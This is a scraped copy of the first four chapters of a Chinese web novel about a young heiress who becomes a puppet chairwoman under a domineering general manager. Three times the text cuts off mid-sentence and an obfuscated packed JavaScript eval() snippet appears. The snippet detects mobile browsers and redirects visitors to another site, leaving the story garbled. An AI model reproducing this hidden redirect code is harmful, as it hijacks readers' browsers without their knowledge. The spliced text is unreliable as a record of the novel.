《上位》 1. 第1章 李婉平很害怕周垣。 她第一次见到他的时候是在医院的大门口,当时李婉平的父亲病危,周垣作为李婉平父亲的心腹,集团公司的总经理,受托出来接李婉平。 三九寒冬,密集的大雪覆盖了纵横的街道,医院的门口处延伸着一条被清扫干净的地面,灰色的大理石与白雪相称,周垣就站在那里。 李婉平看了他一眼就把头低下了。 周垣长的很英俊,但他的气场却很骇人。 李婉平第二次见到周垣是在董事会上。 李婉平的父亲去世,李婉平临危受命接管公司。她怯怯地坐在那里,听得周垣在股东会上冷声颁布了一项新规。他说,往后李氏集团所有的文件,必须先拿给他过目,然后才能再找李婉平签字。 在场半数以上的股东异口同声说:“是,周总。” 其余剩下的股东都沉默着,但自始至终,没有一个人提出反对意见,或者征求一下李婉平的意见。 那一瞬间,李婉平就知道,她这个所谓的董事长,就只是个傀儡。 第三次见面就是现在,在周垣的办公室,他站在落地窗前,俯瞰着窗外的车水马龙,黄昏一束夕阳穿透落地窗投射进房间,将他英挺的轮廓虚成一条弧线。 李婉平轻轻敲了敲门。 周垣转过身来面无表情地看她一眼,然后指了指斜对面的沙发,对她说:“坐。” 李婉平走到沙发前坐下了。 周垣继而迈步从落地窗向沙发走过来,他一走近,李婉平又立刻站了起来。 周垣皱了下眉,“坐,这么怕我?” 李婉平心想,她是怕他,因为他掌控着整个李氏集团,她的生存。 这话并不夸张,即便李氏集团是家族企业,从法律上讲属于李婉平,但商场上的事,只要你签错一个名字,你所有的财产都有可能在顷刻之间变成其他人的。 周垣看着李婉平,“你叫李……” 周垣拖了个音。 李婉平立刻道:“李婉平,温婉的婉,平和的平。” 周垣嗯了声,“名字不错,温婉平和,跟你的气质倒是很相称。” 李婉平便不再说话了。 周垣不动声色的笑着,“在公司里还适应吗?” 李婉平愣了下。 周垣这问话的语气,像极了一个领导在询问员工,但其实,周垣的职位只是总经理,而李婉平是董事长。 李婉平微微垂眸,手不着痕迹握了握拳,但紧接着便又松开。等她再抬眸时,她已经换上了一副天真无邪地笑容,“都挺好的,托周总你对我的照顾,我很感激。” 周垣意味深长瞧着眼前这个小姑娘,“我有照顾过你吗?具体说说。” 李婉平心口一紧,脸胀得通红,却说不出话来。 周垣眨眼睛笑:“看来是没有,或者,是我照顾的不够好,至少没让李董记住。” 一句“李董”,一下就让李婉平的心里忐忑起来。 她张了张嘴,但话还未出口,便被周垣抬手制止。 周垣又笑了下,“今天晚上有个饭局,李董跟着一起去吧。像我们这样的生意人,应酬都少不了。李董作为我们李氏集团的董事长,以后自然也要多多参与。” 李婉平局促用手扯着衣角,她不想去,但周垣的语气这样笃定,根本就不给她拒绝的余地。 周垣微笑看着她,“那就这么定了,晚上七点,我准时去接你。” 李婉平身子一顿,有些僵硬,她的声音很小,怯怯的,“周总,我一定要去吗?” 她说着,怕是周垣误会,又紧接着加了一句:“我没有任何工作经验,我怕我去了说错话会给你惹麻烦。” 周垣微微皱了下眉,“没有工作经验才要去累积经验,不然你整天待在温室里,什么时候才能独当一面。” 周垣这话说的合情合理,甚至还有一点为李婉平着想的感觉,让李婉平一下子没了拒绝的理由。 李婉平小心翼翼地用眼睛偷瞄了他一眼,妥协道:“那……好吧。” 周垣这才满意地点了点头,“好,那你去忙。” 李婉平顿时如获大赦,起身就走。但才刚走到门口,周垣却又突然道:“李董。” 李婉平立时脚步一顿,转过身来。 周垣含笑淡淡地道:“记得化个淡妆,交际场上,化妆是对别人的尊重。” 李婉平没听过这个道理,但她还是点了点头,说:“好的。” 周垣便没再说话。 李婉平继而推开办公室的门,然后快步走了出去。 办公室的门外就是一条长廊,长廊空荡荡的,除了几盆绿植之外再无其他。听人说,周垣喜欢简单,不喜欢那些复杂的装潢。但是他这个人,却非常复杂。 李婉平一路走回自己的办公室,在办公室外面的隔间是助理的办公室。助理是一位二十七八岁的女人,姓赵名曼。 她看到李婉平回来,连忙拿了三份文件走了过来,“李董,这是今天财务部和工程部送来的文件,请您过目。” 李婉平下意识问:“都拿给周总看过了吗?” 赵曼点头,“周总都已经看过了,说是让您签字。” 李婉平闷闷地嗯了一声,然后接过那三份文件向办公室内走去。 她在经过办公室门口时,看到门上描金镶边的牌子,上面写着:董事长办公室。 她忽然觉得很讽刺,又很难过。 她的父亲曾经就在这间办公室里办公,但是,她的父亲绝对不会像她这样丢人。 李婉平深吸了一口气,然后迈步走进办公室将门关上。 她进去之后就翻阅了那三份文件,但是她没有看懂。尤其是那份工程部送来的文件,对她来说简直就像是在看天书。 李婉平沉默着。 她知道她自己不能这么坐以待毙,周垣现在愿意尊她,只是因为她的父亲刚刚去世,周垣即便有心想要抢夺李氏集团,也要顾及舆论。 但如果李婉平一直这样无所作为,等个三年两年之后,周垣就完全可以以董事长没本事为由,煽动董事会,要求李婉平让出股权。 李婉平最后的结局,也就是用李氏集团换取一笔钱,然后安稳地度过下半辈子。 其实这样的结局似乎也不错。 但是李婉平不能。 因为李氏集团是她祖爷爷创建的,经过她的爷爷、她的父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628864|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲,然后传到了她的手上。 她不能让这个充满了李家人心血的集团公司在她的手上卖给他人,她不能。 但现实的情况却狠狠打了她的脸。 她什么都不懂,处于被动的位置上,任凭别人拿捏。 李婉平无声叹了口气,然后拿起笔,几经犹豫,还是在那三份文件上签了自己的名字。 她知道字不能乱签,但是她看不懂,如果她不签,周垣责问起来,她也说不出理由。 但好在现在这个局面,她对周垣还有一定的利用价值,所以在短时间内,她也不必太过担心周垣会对她不利。 李婉平签完字后便打开了电脑。 她给自己偷偷报了两个大学函授的班,一个学财务,另一个学法律。 李婉平原本的大学专业是经济管理以及企业管理,她的父亲原本打算等她大学毕业之后就让李婉平来公司实习,从基层做起,再由她的父亲亲自指导个两三年,她基本就可以出徒了。 但现在这一计划破灭,两个专业都成了纸上谈兵,而在周垣的掌控下,李婉平也根本就没有从基层开始做起的机会。所以,她只能偷偷再给自己报几个有用的班,让自己的知识面尽可能变得广阔一些,或许有用。 做完这一切,李婉平的心渐渐平静下来。 但这份平静并没有持续多久,她的手机便响了起来。 李婉平看了眼来电显示,轻皱着眉头。 是周垣的助理,何锐。 李婉平本心并不想接,但她还是把电话接通了,客客气气地说了句:“何助理。” 何锐在那头却一点也不客气,“周总让我问问你可以走了吗?” 李婉平一愣,下意识反应过来是要去应酬。她抬眸看了眼墙上的挂表,才五点多一些。 李婉平问:“周总不是说晚上七点吗?” 何锐的口气很强硬,“不知道,周总就是让我问问你能不能走?” 李婉平沉默举着电话,几秒钟的时间,她淡淡地说了句好,“我马上下楼。” 对方果断挂掉了电话,李婉平听着电话那头的忙音,强压下了心中所有的不满。 何锐区区一个助理都敢对李婉平这么不客气,完全是因为有周垣给他撑腰。 自古以来,狗仗人势。 李婉平静默着,然后从包里拿出一支口红,在唇上涂了很薄的一层。 她继而下楼,坐电梯直达地下停车场。出了电梯口不远处就停了一辆黑色奔驰,后车座的窗户开着,隐隐约约能看到里面坐着的人的轮廓,是周垣。 李婉平走过去,拉开后车门上车。 周垣正坐在后车座上打电话,嘴角还衔着半支烟,“盛和集团现在谁当家你就去找谁,捅了娄子可大可小,全凭人说。” 电话那头不知道回了句什么,周垣以一句“我等你消息”便结束了通话。 李婉平就安安静静地坐在一旁。 周垣顾她一眼,此刻倒映在周垣眼底的李婉平皮肤白皙,嘴唇带着点点诱人的樱桃红。 她倒是很听话,化妆了,但却只涂了口红,又很敷衍。 周垣很快收回了视线,然后跟司机说了一个字,“走。” 2. 第2章 司机一路开着车行驶到一个类似于招待所的地方,而不是酒店。 李婉平不知道周垣为什么要来这里,但也不敢问。 车子在招待所门口停稳之后,周垣让李婉平在车里等着,然后独自一个人下车进了招待所。 周垣这一进去就是半个多小时。 李婉平等在车里有些纳闷儿,她问司机,“周总进去做什么?” 司机说不知道,他是真不知道,只实话实说他知道的情况,“这里是周总朋友开的招待所,可能进去谈点事情。” 李婉平眉头微皱,“既然如此,为什么要让我也一起跟过来。” 司机是个直性子,没多想,就嘴善如流地回:“您和周总今晚不是有应酬吗?可能周总不想再特意回公司接您一趟吧。” 司机说完就意识到这话不太妥当,毕竟李婉平是董事长,周垣再怎么着也只是个总经理,没道理下属懒得去接上司。 司机心虚看了李婉平一眼,果不其然,李婉平的脸色不是很好看。 司机悻悻干笑了两声,“那什么……李董您先在车里等着,我下车抽根烟。” 李婉平没有吭声。 司机连忙逃也似的下了车。 李婉平又在车上等了半个多小时,周垣终于从招待所里出来了。 他随即上车,然后才吩咐司机去今晚应酬的酒店,[黄金楼]。 那是一家非常有名的鲁菜老店,有二十多年的历史。早在李婉平还没出生的时候,这家鲁菜店就已经存在了。 司机一路开着车抵达「黄金楼」门口,早有一名经理装扮的中年男人已经在台阶上恭候,车停稳,中年男人认出是周垣的车,亲自走下台阶过来拉开车门,“周总,您来了,快里面请。” 周垣下车,李婉平也跟着下车,然后不远不近跟在周垣身后。 在酒店门口停泊了几十辆豪车,不少衣着不菲的男男女女陆续进出,男的从青年到中年甚至老年,包笼了各个年龄阶段,而女的却大部分都是年轻漂亮的小姑娘。 李婉平一声不吭跟着周垣往里面走,听得周垣问那个引路的经理,“盛和集团的蒋总来了吗?” 经理欠着身,恭敬地答:“没有,不过经纬的王总和西城船业的杨总都已经到了。” 周垣嗯了声,便没再问什么。 一行人随即坐VIP观景电梯直达八楼,电梯中途不经停在其他楼层。 下电梯后,经理引路停在一号雅间的门口,门一推开,里面已经坐了两个中年男人以及三个漂亮的年轻女人。 他们见到周垣后立刻都站了起来,其中一个体型微胖的男人率先跟周垣握了握手,语气之间很是恭维,“周总,好久不见,您还真是风采依旧啊!” 周垣闻言笑着扫了眼男人身旁的两位年轻美女,“王总今天好兴致,一炮双响。” 王总瞬间乐得合不拢嘴。 周垣又与站在王总身边的另一个中年男人握了握手,“杨总特意从A市赶过来,一路辛苦了。” 杨总立刻客套地摆了摆手,操着一口浓重的地方口音,“不辛苦,不辛苦,挣钱嘛。” 他们话落便一起入席。 那个王总似乎对李婉平很感兴趣,眯着一对色/咪/咪地小眼问周垣:“这妹妹跟上回那个不是一人儿吧?小秘书?” 周垣喉咙里溢出笑声,眸中的流光被灯火一拢,风/流不/羁。他没有认可李婉平这个“秘书”的身份,但也没有否认。 但这样不承认不否认的态度,几乎等同于在羞辱李婉平。 李婉平面上没有吭声。 王总权当自己猜对了,笑容油腻又低级,“秘书好,秘书贴心。” 他话落便又看了李婉平一眼,眉飞色舞。 一旁的杨总这会儿也注意到了李婉平,他张了张嘴,似乎是要说点什么,但还没等他开口,周垣已经先声打断:“好了,我们说正事儿。” 杨总只能戛然而止,他搓了搓手,自顾自喝了口茶,一脸的色/相都被讳莫如深取代,“据我所知,现在这项招标一共有十家公司参与。抛去资质不合格的三家,还剩下七家。这七家公司,又有三家已经被劝回,所以,最后能参与竞标的就只剩了咱们三家和盛和集团了。” 他说着,不着痕迹看了眼旁边的王总,又继续道:“我和王总都有自知之明,知道这项工程最终也不会落到我们两家手里,所以,我和王总就想着,等竞标结束之后,我们两家做分包,拿一点零头的利润就行了。” 他说话的功夫,有侍者开始上菜。 王总见状立马面色一变,沉着脸向服务员呵斥道:“人还没到齐,谁叫你们上菜的!” 服务员当场就吓结巴了,支支吾吾看向周垣,却不敢说话,只能发出一些单调的音阶。 周垣叼着烟坐在那里,青灰色的雾霭深处,那张英俊的面孔晦暗不明,“是我让上的。” 他说着顿了顿,目光投在李婉平的身上,“很晚了,小姑娘还没吃饭。” 王总多精,他一看这情况,脸上的表情立刻就一百八十度大转弯,“应该上,应该上,这都几点了,饿坏了妹妹,周总该心疼了。” 他说完这话就又立刻去训斥服务员,“麻利点,都快点把菜上齐!把人饿坏了,你们负责吗!” 服务员心里一百个委屈但不敢说,只红着眼眶点头应下。 菜品很快便被一盘一盘的端了上来,紧接着就是酒水,很贵的白酒,还有红酒。 王总拿起酒瓶先给周垣倒了一杯,然后是杨总,眼角余光瞥见李婉平的时候,他将白酒瓶子放下,转而拿起红酒端了过去。 李婉平眼疾手快将挡住杯口,客气礼貌地道:“我不会喝酒。” 王总见状不着痕迹看了周垣一眼。 但周垣只是叼着烟坐在那里,并未有任何表示。 王总就明白了,他立刻换了一副油腻地笑容,语气带着哄,“我说妹妹啊!咱出来吃饭怎么能不喝酒呢?何况红酒而已,度数又不高,跟喝糖水似的。” 李婉平不为所动,只是坚持用手挡着杯口。 杨总见势也开始添油加醋,“妹妹啊,出来谈生意喝酒是规矩,助助兴而已,你给个面子,喝一杯好了。” 李婉平没见过这种阵势,她才刚刚大学毕业不久,她是不懂这些所谓的饭局规矩。 她一时之间有些无助地看向周垣。 周垣似乎是感受到了李婉平的目光,也回视了她一眼,但周垣却并未替李婉平解围,反而直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628865|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接选择了无视。 李婉平顿时没了办法。 其实她可以不喝,但不喝就等于打了两位老总的脸,李婉平初来乍到,不确定她能不能担得起这个麻烦。 李婉平微微低下头。 但这会儿的功夫,王总已经给李婉平把酒倒好了。 “喝吧妹妹,就一杯,助助兴。” 李婉平不言不语,端起那杯红酒一口干了。 她知道酒不是这样喝的,但她只想快点喝完这杯酒,她并不想慢慢地品,更不想跟这些人把酒言欢。 但她喝的太快,酒入喉咙闷了一下,便剧烈地咳嗦起来。 在场的所有人都知道李婉平为什么被酒呛到,但所有人都装作看不懂。 王总第一个鼓掌喝彩,边鼓掌又边趁机给李婉平倒了一杯,“妹妹海量啊!还说不会喝!这比我都能喝!” 杨总紧接着把酒杯举到李婉平眼前,满满一杯,杨总先行一口闷了,“妹妹我敬你,我干了,你随意!” 这句话就相当于把路给堵死了,李婉平再怎么不懂规矩也知道人家先干了酒,她至少也得抿一口。 李婉平被王总和杨总夹在中间,愈发感到无形的压力。 她对这种场合这些人有一种说不出的厌恶和畏惧,她不知道所谓的应酬是不是都是这样,但她眼下只能硬着头皮敷衍。 周垣将这一切尽收眼底,对李婉平的惊弓之态浑然不觉。他自始至终都只是坐在一旁看戏,丝毫没有想要帮忙的意思。 李婉平被王总和杨总两个人连哄带骗的灌了三、四杯,她的脸色开始微微泛起了红晕,她胃里空,这会儿又有些想吐。 周垣这才觉得有些过了,拿酒杯轻轻碰了碰李婉平的杯子,拉回她的注意,“吃口菜压一压。” 李婉平闷不吭声。 恰时包间的门被人推开,包间里的气氛明显一变。方才还嚷嚷着要灌李婉平酒的王总和杨总“腾”地一下从座位上站了起来,几步就迎到了门口。 “蒋总!” “蒋总!” 两个人是异口同声,语气之间带着浓重的谄/媚和恭敬。 李婉平微微晃了晃脑袋,片刻清醒间,她迎着头顶天花板折射下来的光晕看了眼门口。 那是一个身材高大的男人,长相非常英俊,而且很有男人味,有一点痞坏的感觉。 男人脱掉外套,递给随行的服务员,他的音色磁性浑厚,带着一丝说不清的蛊惑,“不好意思,我来晚了,堵车。” 男人的名字叫蒋柏政,是盛和集团的现任总裁。他的父亲蒋忠国是盛和集团的现任董事长。 蒋柏政进入包间后就看到了李婉平,很娇弱的一个小姑娘,很明显被人灌了酒,此时微微垂着头,脸颊有些泛红,整个人显得很是狼狈。 他看了李婉平一眼便收回了目光,紧接着入席,从烟盒里抽了一支烟斜叼在嘴角,打火机孔喷出的淡蓝色火药映衬了他的面容。 他抽一口,吐出一些烟雾,被熏哑的嗓子低沉且撩,“我是不是错过了什么?” 王总用下巴撅了撅李婉平的方向,意味深长:“这位妹妹是周总的秘书。” 蒋柏政笑,但笑不达眼底,“所以,就把人家给灌成这样了?” 3. 第3章 蒋柏政这话一出,气氛顿时尴尬起来。 王总和杨总都是年过四十的人了,两个大男人灌人一个小姑娘,原本就是很恶劣的事。 王总靠住椅背,厚着脸皮打哈哈,“这怎么能叫灌呢?蒋总你是来的晚没看见,人家妹妹酒量可好了!” 蒋柏政吞吐着烟雾笑而不语。 他没有必要为一个不认识的女人出头,更何况,这个女人还是周垣的人。 杨总见状直接转开了话题,“蒋总啊,我们今天聚在这里就是为了讨论一下竞标工程的事,刚才你没来,我和王总就先跟周总说了一下情况,我和王总的意思是我们退出竞标,回头做分包就可以了。” 蒋柏政闻言扫过周垣,眼底晦暗不明,他笑了笑,那份痞子气说来就来,“才瞧见周总也坐在这里,刚才都没注意。” 他这话明显就是在栽周垣的脸面。 方才王总都已经说了李婉平是周垣的秘书,蒋柏政怎么可能没看到周垣也坐在席间。 周垣并不介意蒋柏政的犯浑,他叼着烟,神态慵懒倨傲,“蒋总看不到我不要紧,能看到钱就可以了。” 蒋柏政配合他挑唇,“那是自然。” 他顿了顿,继而对杨总道:“说说你们的方案。” 蒋柏政话落,杨总便开始滔滔不绝。 他们这会儿讲的都是正事,李婉平本想听一听,学一学,但奈何她喝了酒,脑子晕沉沉的,一个字也听不进去。 她只觉得胃里翻腾,想吐,她继而拿了一块点心塞进嘴里压了压,等稍微好些了之后,她才又拿了第二块。 这一空档,坐在王总旁边的一个女生不着痕迹地递了一张餐巾纸给李婉平。 李婉平微怔。 女生有些同情地看着她,趁男人们都在谈生意,女生很小声地关心了一句:“你没事吧?” 李婉平很感激看了女生一眼,同样很小声地说了句:“没事,谢谢。” 接下来的时间就是熬,至少对于李婉平来说就是熬。 男人们谈完了正事儿就开始东扯葫芦西扯瓢,但大抵都看出李婉平的状态不是很好,便没有人再来给她灌酒。 饭局一直持续到晚上九点多才结束,李婉平跟着周垣离开酒店的时候,车子已经被司机停在了门口等候着。是周垣先坐进了后座,李婉平才紧接着坐了进去。 李婉平还是很不舒服,她今晚几乎没怎么吃东西,而且是被人空腹灌了酒。 路上车子开得很快,李婉平胃里那股恶心劲越发严重,她下意识紧紧捂住嘴巴,那原本红润的脸颊也变得有些苍白。 周垣面无表情地扫了她一眼,然后命令司机停车。 车子在马路边停稳的那一刹那,李婉平几乎是瞬间就推开车门跑到了一棵大树下面。 她蹲在路边就吐了。 但她吐出来的都是酒水,酒精合着胃酸刺激着食道乃至鼻腔都是火辣辣的,李婉平只觉得眼前一阵金星乱冒,险些失去平衡。 周垣并未下车去帮她,只是瞧着她吐的差不多了,才从车窗内向外面丢了一包纸巾。 纸巾落地由于惯性向前“啪嗒”了两下,然后停在李婉平的脚边。晚风吹过纸巾的包装,空气里是周垣的味道,是一股乌木沉香。 李婉平自顾自将那包纸巾捡起来,打开包装抽了一张擦了擦嘴,又抽了一张擦了擦手。 她用手抚在胸口顺了几口气,感觉舒服一些了,才起身重新坐回车里。 周垣并未关心她,车里依旧是一片沉默。只不过车子再发动时,行驶的速度明显慢了许多。 李婉平一路上都是晕晕乎乎的,车子驶入小区都浑然未觉,直到司机告诉她地方到了,她才后知后觉回过神来推门下车。 但她才走了一步,周垣便又将她喊住。 李婉平脚步一顿。 周垣在雾蒙蒙的夜色中落下半截车窗,“明天能上班吗?” 李婉平点头,说能。 车窗随即又升起,隔绝了视线,车子继而驶离,扬起了一片飞尘。 李婉平回到家后第一件事情就是把身上的衣服换了下来,但她没有放进洗衣机,而是直接扔进了垃圾桶里。 她厌恶衣服身上的味道,厌恶衣服的味道给她带来的回忆。 她随即去浴室洗了个澡,等一切都收拾完之后,已经是晚上十一点多。 李婉平很累,躺到床上的一瞬间就睡着了。但她睡得并不安稳,仿佛还做了一些乱七八糟的梦。 而与此同时的另一边,何锐将一份资料交到了周垣的手里。 那是李婉平白天报班的资料,不过才短短几个小时的时间,就已经被周垣知晓。 周垣面无表情将资料翻了两页,嘴角勾起一抹讽刺,“财务和法律,有意思。” 何锐恭敬问:“周总,需不需要干涉一下?” 周垣随手将资料扔在桌面,语气云淡风轻,“不必,她想学什么就让她学,一个小丫头能翻出什么风浪。” 何锐恭敬称是。 窗外下起了雨,转瞬倾盆。周垣就站在落地窗前,他家住在顶楼,从落地窗探出去,可以俯瞰城市。 他就站在那里,身影与这漆黑的雨夜融合,没有人能看清他眼底的情绪,也没有人能猜透他的心思。 第二天早晨,李婉平是在一片灰蒙蒙中醒来。窗外的雨依旧在下,而且很大,浸透了整个城市。 她掀开被子下床,走到窗台,雨帘深处停了一辆黑色奔驰,她一愣,下意识眯起眼睛去辨认车牌号,是周垣的车。 她顿时困意全无。 手机就是在这个时候响了起来,李婉平扫了眼来电显示,是周垣。 她继而按下通话键,电话那边传来周垣那微沉地声音,“八点半了。” 李婉平一愣。 周垣又道:“九点开会。” 李婉平这才后知后觉反应过来,今天是周五,早上九点要开管理层总结会。 李婉平连忙急声道:“我这就出门!” 她最后一个字的音还在嘴边,周垣那边却已经挂断了电话。 李婉平对着忙音愣了几秒,然后迅速冲进浴室洗漱,头发用发圈随便一扎,出门蹬上鞋就走。 周垣坐在后车座不紧不慢焚了支烟,稀薄的白雾在唇边散开,染了几分朦胧。 李婉平跑到他车前的时候衣服都湿了,她跑得急,甚至忘了打伞。 上车后才觉得尴尬,因为她穿着白衬衫,雨水一湿,里面的内衣若隐若现。 周垣没吭声,也没看她。 司机很快发动了车子,在淅淅沥沥地雨中平稳前行。 一路无言,快到公司的时候,李婉平才小心翼翼问周垣,“周总今天怎么特意来接我上班?” 周垣揭过扩散的烟雾与李婉平对视,“刚好顺路。” 李婉平点头哦了声。 恰时车子正好抵达公司的地下停车场,李婉平正要推门下车,一件混合了烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14628866|156245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草味和乌木沉香味道的男士外套从天而降盖住了李婉平的脑袋。 李婉平顿觉眼前一黑,耳边紧接着传来周垣的声音,“公司里面,还希望李董能注意一下自己的仪容仪表。” 李婉平极为难堪地咬唇闭了闭眼睛,她不敢吭声也不敢动。只听见开车门的声音,大抵周垣已经下车了,李婉平才将脑袋从那件男士外套里钻出来,然后小心翼翼地套在了身上。 周垣的衣服太大了,李婉平套在身上直接拖到了大腿。 李婉平以最快的速度向办公室跑去,但这个时间是上班高峰期,走廊上人来人往,她想避开都避不开。 李婉平忽然觉得,她穿着周垣的外套仿佛比只穿着自己那件让雨淋湿了能让内衣若隐若现的白衬衫更加引人注目。 李婉平跑到办公室后就立刻将周垣的外套脱了下来,办公室的衣柜里有备用工装,李婉平又以最快的速度将衣服换好。 做完这一切后,李婉平忽然觉得自己累极了。但她来不及休息,因为还要去开管理层总结会。不过好在会议上没有李婉平什么事儿,她就是个摆设,任何决策性的事情都轮不到她来拍板,下面的人有任何困难也不会问到她的头上。 会议持续了一个多小时,等会议结束时,已经是十点多。 李婉平第一时间就返回办公室拿了周垣的外套就要往外走,但走了两步又觉得不妥。 毕竟公司里面人来人往的,她拿着周垣的衣服去找周垣,很容易招人闲话。 李婉平左右环顾了四周,想起抽屉里的黑色垃圾袋,她打开抽屉扯了一个新的,然后把周垣的外套装了进去。 李婉平就这么拎着垃圾袋从容走出了办公室,途中遇见几位员工,李婉平也都不慌不乱地跟他们打了招呼。 李婉平来到周垣办公室的时候周垣并不在,她一推门,就看到一个男人背对着她,正站在书架前看着那些摆着的书。 李婉平微怔。 开门的声音惊动了站在书架前的男人,他转过身来,迎着窗外的光,李婉平看清楚那个男人的脸,却正是昨天晚上在宴席上的蒋柏政。 蒋柏政在看到李婉平的瞬间嘴角微微勾了下,眉眼之间的神色低调却又带了一丝猖狂。 他不紧不慢向李婉平的方向渡了几步,笑意渐浓,染了一缕戏谑张扬的味道,“又见面了,小秘书。” 李婉平微微有些尴尬,她不知道她应不应该把自己的真实身份告诉蒋柏政。 办公室的门在这时被人推开,周垣一边吩咐着何锐什么,一边迈步向办公室里面走。 他进门就看到了李婉平,眉头微皱。 李婉平顿时低下头,像是一个做错了事情的孩子,一把将那件被黑色垃圾袋装着的外套塞进了周垣的怀里,“衣服还你……” 周垣的脸色青了几分。 他不算是一个很讲究的人,但不代表他可以接受自己的衣服被装在垃圾袋里。 李婉平似乎也意识到了这一点,连忙又补充了一句,“新的,我说那个袋子……” 空气里顿时一派寂静,落针可闻。 是蒋柏政先笑了声,没有恶意,清清朗朗的笑。 他双手插/在裤口袋里,饶有趣味地瞧着李婉平,“周总这个小秘书倒是很有趣。” 周垣闻言将那个被黑色垃圾袋装着的外套递给身后的何锐,语气之间没有一丝波澜,“蒋总这话错了,这位可不是我的秘书,这是我们公司的董事长,李婉平,李董。” 4. 第4章 周垣这话一出,空气又安静了几秒。 蒋柏政微眯眼打量李婉平一番,没说话,但嘴角染了几分意味深长。 两个男人相继落座,周垣吩咐何锐上茶。 李婉平尴尬站在原地踌躇了一会儿,很小声地对周垣道:“周总,那我先回去了。” 周垣嗯。 李婉平顿时如获大赦,转身就走。 她在转身的同时,蒋柏政的目光也定格在了她的背影。 他看着她,几秒钟的时间,蒋柏政看着李婉平离开办公室,门关上的一瞬间,蒋柏政才收回目光,将注意力转移到了周垣的方向。 蒋柏政含着笑,“原来她就是那个临危受命的小董事长。” 周垣闻言与蒋柏政四目相视,“怎么?蒋总对我们的小董事长很感兴趣?” 蒋柏政半真半假:“当初她父亲想跟我们蒋家联姻,若不是她父亲走的突然,说不定这门亲事就成了。” 周垣不咸不淡嗯,“那可真是可惜,蒋总与我们小董事长差了点缘分。” 蒋柏政闷笑出声,“缘分这东西谁说得准,周总觉得差了点,我倒是觉得刚刚好。” 周垣闻言没有吭声。 蒋柏政继而端起茶杯品了一口,“周总,我这次来,是为了工程竞标的事儿。” 工程竞标最后需要角逐的两家就是李氏集团与盛和集团,但蒋柏政不打算要了。因为这次竞标周垣已经拿到了内部消息,蒋柏政能中标的可能性很小。所以与其耗到最后竹篮打水一场空,不如及时止损。而且,蒋柏政在另一个工程上做足了文章,如果周垣愿意,他们的利润可以五五开。 周垣早就料到了会是这么个结果,所以对蒋柏政提的这件事并没什么异议。毕竟,虽然蒋柏政的盛和集团一直与李氏集团是竞争关系,但只要有钱赚,敌人照样可以变成朋友。 蒋柏政与周垣的交谈没什么波折就顺利结束了。 蒋柏政离开周垣办公室的时候已经是中午十一点多,但他并未马上驱车驶离,而是将车停在靠近李氏集团大门外的路边上,车窗落了一半,叼着烟坐在驾驶室里。 正值中午,马路上人来人往,但李婉平从李氏集团门口出来的时候,还是一眼就看到了那辆灰色宾利,但她并未在意,也没有多想。 她沿着路边的步行区域走,那辆车悄无声息地跟上,在与李婉平擦肩而过的时候,车身擦到李婉平的胳膊,一下子就把李婉平给拽倒了。 车子紧接着停住,速度很慢,力度并不大,李婉平虽然被车子拽倒,但人并未受伤。 驾驶室里的蒋柏政将烟掐灭在烟灰缸里,然后才佯装发现蹭了人,推开车门快步迈到李婉平身边,他将李婉平扶起来,连声说了两句抱歉。 李婉平也连忙说着没事儿,但话才说了一半,人就愣住了。 她没想到开车的人是蒋柏政。 蒋柏政微微弯了下眉眼,“原来是李董,真不好意思。” 李婉平顿时有几分尴尬。 蒋柏政绅士扶着李婉平,“刚才伤着了没有?要不,我陪李董去医院检查一下?” 李婉平下意识摆手,“没事儿,没伤着。” 蒋柏政抬起手腕看了眼腕表,“李董这是要出去吃饭吗?” 李婉平刚想说不是,但话到嘴边又咽了回去,只点了点头。 其实,李婉平并不是要去吃饭,公司有员工餐厅,她一般都是在餐厅里吃。但昨天她才报了网课,有些教材需要自己去书店买,她便想利用午休时间去把教材买回来。 不过这件事她不想告诉任何人,自然也包括蒋柏政。 蒋柏政眉眼含笑,“巧了,我也正准备去吃饭,不如我请李董,权当为刚才的事情赔罪。” 李婉平就要拒绝。 但蒋柏政已经先一步把副驾驶的车门打开,并对李婉平做了个“请”的手势,“李董要是拒绝,我就当李董是记我的仇了。” 李婉平一时语塞。 正值中午下班高峰期,有很多李氏集团的员工正三五成群地结伴往外走,他们看到李婉平的时候都会客气地尊一声李董,然后再好奇地看蒋柏政两眼。 经过的人多了,李婉平被打招呼打得有些不自在,便一闷头坐进了蒋柏政的副驾驶里。 蒋柏政将这一幕尽收眼底,眼眸不经察觉划过一丝算计,但很快他也绕过车身,从另一边坐进了驾驶室。 狭窄的空间里弥漫着一丝淡淡地烟草味,因为李婉平挨着蒋柏政很近,还闻到了一丝冷冷淡淡地男士香水,像极了雪松。 蒋柏政问李婉平,“李董想吃什么?” 李婉平答:“都可以。” 